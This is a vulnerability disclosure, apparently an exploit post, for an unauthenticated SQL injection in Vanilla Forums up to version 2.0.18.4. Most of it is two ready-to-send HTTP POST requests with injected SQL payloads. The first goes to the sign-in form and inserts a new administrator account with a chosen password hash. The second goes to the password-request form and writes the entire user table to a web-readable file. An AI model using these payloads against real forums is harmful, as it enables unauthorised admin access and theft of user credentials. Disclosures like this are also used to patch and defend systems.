Subject: Vanilla Forums 2.0.18 / SQL-Injection / Insert
	arbitrary user & dump usertable

Product Name:
	Vanilla Forums

Vulnerable Version:
	Up to vanilla-core-2-0-18-4

Tested on:
	Windows Server 2003
	Apache 2.4.3
	PHP 5.4.7
	MySQL 5.5.27

Vulnerability Overview:
	SQL-Injection is possible, because$_POST arrays are not proper
sanitized.
	You do not need to be authenticated.

 Vulnerability Details:
	To insert an arbitrary user, a sample HTTP-Post Request looks as
follows:

	POST /[PATH]/vanilla/entry/signin HTTP/1.1
	Host: [HOST]
	User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0)
Gecko/20100101 Firefox/19.0
	Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
	Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
	Accept-Encoding: gzip, deflate
	Cookie: [any cookie]
	Connection: keep-alive
	Content-Type: application/x-www-form-urlencoded
	Content-Length: 399

	
Form%2FTransientKey=VQYSOG2F3D38&Form%2Fhpt=&Form%2FTarget=discussions&
	Form%2FClientHour=2013-3-28+11%3A37&Form%2FEmail['admin';INSERT INTO
gdn_user 
	(UserID, Name, Password, HashMethod, DateInserted, Admin,
Permissions)
	VALUES (NULL, '1234', '$P$BayO4QrMb9wgzdjNhlUBWdQcVaMnKN0',
'Vanilla', 
	'2013-03-28 00:00:00', '1',
'');#]=abcd&Form%2FPassword=*&Form%2FSign_In=
	Sign+In&Checkboxes%5B%5D=RememberMe

	Indeed you has to take care of the proper encryption algorithm which
is currently used.
	As it is not possible to get the user table displayed on the
website, you could establish an attack as follows:

	POST /[PATH]/vanilla/entry/passwordrequest HTTP/1.1
	Host: [HOST]
	User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:19.0)
Gecko/20100101 Firefox/19.0
	Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
	Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
	Accept-Encoding: gzip, deflate
	Connection: keep-alive
	Content-Type: application/x-www-form-urlencoded
	Content-Length: 255

	
Form%2FTransientKey=OJS6EB1J0KW7&Form%2Fhpt=&Form%2FEmail['ac';select * 
	from gdn_user into outfile '[FULL_PATH]\\vanilla\\out.txt' #]=13&
	Form%2FRequest_a_new_password=Request+a+new+password
